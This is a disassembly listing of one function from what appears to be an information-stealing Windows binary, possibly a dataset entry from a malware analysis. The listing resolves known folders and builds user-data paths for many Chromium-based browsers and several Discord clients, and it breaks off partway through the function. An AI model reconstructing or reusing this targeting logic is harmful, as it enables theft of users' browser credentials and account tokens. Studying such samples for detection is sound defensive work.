Function at 0x412b20
Capabilities:
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
mov eax, dword [0x494054]
xor eax, esp
mov dword [esp + 0x60], eax
push esi
call fcn.00411d40
test al, al
je 0x4142bd
push 5
push str.Start
lea ecx, [esp + 0x48]
mov dword [esp + 0x48], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0xf
call fcn.00401bb0
mov edx, dword [esp + 0x54]
cmp edx, 0x10
jb 0x412ba0
mov ecx, dword [esp + 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412b96
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
mov esi, dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0x477330
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
call esi
push dword [esp + 0x24]
lea ecx, [esp + 0x2c]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 7
call fcn.00406110
push dword [esp + 0x24]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0xc]
call fcn.00415920
mov edx, dword [esp + 0x1c]
cmp edx, 8
jb 0x412c47
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x412c3d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0x477320
call esi
push dword [esp + 0x24]
lea ecx, [esp + 0x44]
mov dword [esp + 0x44], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], 7
call fcn.00406110
push dword [esp + 0x24]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea ecx, [esp + 8]
call fcn.0040bb20
mov esi, eax
cmp esi, 0x494b30
je 0x412d15
mov ecx, dword [0x494b44]
cmp ecx, 0x10
jb 0x412cd2
mov eax, dword [0x494b30]
inc ecx
cmp ecx, 0x1000
jb 0x412cc8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142c4
mov eax, edx
push ecx
push eax
call fcn.0044c564
add esp, 8
mov dword [0x494b40], 0
mov dword [0x494b44], 0xf
mov byte [0x494b30], 0
movups xmm0, xmmword [esi]
movups xmmword [0x494b30], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x494b40], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov edx, dword [esp + 0x1c]
cmp edx, 0x10
jb 0x412d4b
mov ecx, dword [esp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412d41
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142c4
push edx
push ecx
call fcn.0044c564
add esp, 8
lea ecx, [esp + 8]
call fcn.0040b990
mov esi, eax
cmp esi, 0x494ae8
je 0x412dda
mov ecx, dword [0x494afc]
cmp ecx, 0x10
jb 0x412d97
mov eax, dword [0x494ae8]
inc ecx
cmp ecx, 0x1000
jb 0x412d8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142c9
mov eax, edx
push ecx
push eax
call fcn.0044c564
add esp, 8
mov dword [0x494af8], 0
mov dword [0x494afc], 0xf
mov byte [0x494ae8], 0
movups xmm0, xmmword [esi]
movups xmmword [0x494ae8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x494af8], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov edx, dword [esp + 0x1c]
cmp edx, 0x10
jb 0x412e10
mov ecx, dword [esp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412e06
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142c9
push edx
push ecx
call fcn.0044c564
add esp, 8
test byte [0x496a74], 1
mov esi, 0x7ffffffe
je 0x413cd4
sub esp, 0x18
mov ecx, esp
push 0xd
push str.Google_Chrome
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x18
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x18
cmovae eax, dword [esp + 0x44]
push str.GoogleChromeUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x412ef3
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x412ee9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 5
push str.Brave
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x26
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x26
cmovae eax, dword [esp + 0x44]
push str.BraveSoftwareBrave_BrowserUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x412fc4
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x412fba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 6
push str.Yandex
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x1f
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x1f
cmovae eax, dword [esp + 0x44]
push str.YandexYandexBrowserUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413095
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41308b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0xe
push str.Microsoft_Edge
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x19
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x19
cmovae eax, dword [esp + 0x44]
push str.MicrosoftEdgeUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413166
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41315c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 5
push str.Opera
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x68]
mov eax, esi
sub eax, ecx
cmp eax, 0x1c
jb 0x4142d3
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x58]
push 0x1c
cmovae eax, dword [esp + 0x5c]
push str.Opera_SoftwareOpera_Stable
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413237
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41322d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 8
push str.Opera_GX
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x68]
mov eax, esi
sub eax, ecx
cmp eax, 0x1f
jb 0x4142d3
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x58]
push 0x1f
cmovae eax, dword [esp + 0x5c]
push str.Opera_SoftwareOpera_GX_Stable
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413308
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4132fe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 7
push str.Vivaldi
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x12
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x12
cmovae eax, dword [esp + 0x44]
push str.VivaldiUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x4133d9
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4133cf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 8
push str.Chromium
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x13
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x13
cmovae eax, dword [esp + 0x44]
push str.ChromiumUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x4134aa
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4134a0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 6
push str.Kometa
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x11
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x11
cmovae eax, dword [esp + 0x44]
push str.KometaUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x41357b
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413571
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 5
push str.Amigo
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x10
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x10
cmovae eax, dword [esp + 0x44]
push str.AmigoUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x41364c
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413642
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 5
push str.Torch
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x10
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x10
cmovae eax, dword [esp + 0x44]
push str.TorchUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x41371d
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413713
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 7
push str.Orbitum
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x12
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x12
cmovae eax, dword [esp + 0x44]
push str.OrbitumUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x4137ee
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4137e4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0xd
push str.Comodo_Dragon
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x18
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x18
cmovae eax, dword [esp + 0x44]
push str.ComodoDragonUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x4138bf
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4138b5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 8
push str.Nichrome
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x13
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x13
cmovae eax, dword [esp + 0x44]
push str.NichromeUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413990
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413986
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 8
push str.Maxthon5
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x13
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x13
cmovae eax, dword [esp + 0x44]
push str.Maxthon5User_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413a61
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413a57
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 7
push str.Sputnik
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x12
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x12
cmovae eax, dword [esp + 0x44]
push str.SputnikUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413b32
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413b28
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x14
push str.Epic_Privacy_Browser
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x1f
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x1f
cmovae eax, dword [esp + 0x44]
push str.Epic_Privacy_BrowserUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413c03
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413bf9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x14
push str.Epic_Privacy_Browser
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x50]
mov eax, esi
sub eax, ecx
cmp eax, 0x19
jb 0x4142d3
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x19
cmovae eax, dword [esp + 0x44]
push str.CocCocBrowserUser_Data
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 1
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413cd4
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413cca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
test byte [0x496a74], 4
je 0x413f54
sub esp, 0x18
mov ecx, esp
push 0xb
push str.Discord_App
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x68]
mov eax, esi
sub eax, ecx
cmp eax, 8
jb 0x4142d3
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x58]
push 8
cmovae eax, dword [esp + 0x5c]
push str.Discord
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 4
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413db2
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413da8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x12
push str.Discord_Canary_App
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x68]
mov eax, esi
sub eax, ecx
cmp eax, 0xe
jb 0x4142d3
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x58]
push 0xe
cmovae eax, dword [esp + 0x5c]
push str.discordcanary
push ecx
push eax
push ecx
push dword [esp + 0x30]
lea ecx, [esp + 0x38]
call fcn.0040a280
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
cmovae eax, dword [esp + 0x20]
sub esp, 0x18
mov ecx, esp
push eax
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
call fcn.00406110
mov ecx, 4
call fcn.00411630
mov edx, dword [esp + 0x4c]
add esp, 0x30
cmp edx, 8
jb 0x413e83
mov ecx, dword [esp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413e79
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4142ce
push edx
push ecx
call fcn.0044c564
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0xf
push str.Discord_PTB_App
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.00401bb0
mov ecx, dword [esp + 0x68]
mov eax, esi
sub eax, ecx
cmp eax, 0xb
jb 0x4142d3
cmp dword [esp + 0x6c], 8
lea eax, [esp + 0x58]
push 0xb
